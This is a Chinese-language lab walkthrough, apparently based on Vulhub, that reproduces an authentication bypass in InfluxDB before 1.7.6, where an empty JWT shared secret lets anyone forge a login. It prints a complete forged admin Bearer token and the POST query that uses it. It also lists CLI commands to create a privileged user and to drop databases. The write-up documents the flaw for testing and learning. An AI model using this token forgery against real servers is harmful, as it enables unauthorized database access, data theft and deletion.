一、漏洞描述
InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret
的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。
二、漏洞影响
InfluxDB < 1.7.6
三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/influxdb/unacc
docker-compose up -d
开放在默认的8086
端口,环境启动后,访问http://xxx:8086/debug/vars
可查看系统服务信息:
2、漏洞复现
进入到/query
查询功能会提示需要登录:
通过https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
其中,username
需要为已存在的用户,exp
是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳,其中1676346267
转换为时间是:2023-02-14 11:44:27
。
将secret
的值置空,得到编码后的 Token:
抓取/query
页面的数据包,并将请求方式修改为 POST,添加请求头:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
添加 POST 请求键值对:db=sample&q=show+users
发送数据包,得到查询结果。
命令行连接目标:
influx -database 'databasename' -host '0.0.0.0' -port '8086'
常用命令:
show databases # 显示数据库
show users # 显示用户
show measurements # 显示所有measurements
create user influx with password '*********' with all privileges; # 创建用户
create database xxx # 创建xxx数据库
drop database xxx # 删除xxx数据库
use xxx # 使用xxx数据库
select * from measurement_name limit 10
四、漏洞POC
在/query
页面发送 POST 请求:db=sample&q=show users
,得到用户信息回显。
参考链接
https://www.jianshu.com/p/68c471bf5533
https://vulhub.org/#/environments/influxdb/unacc/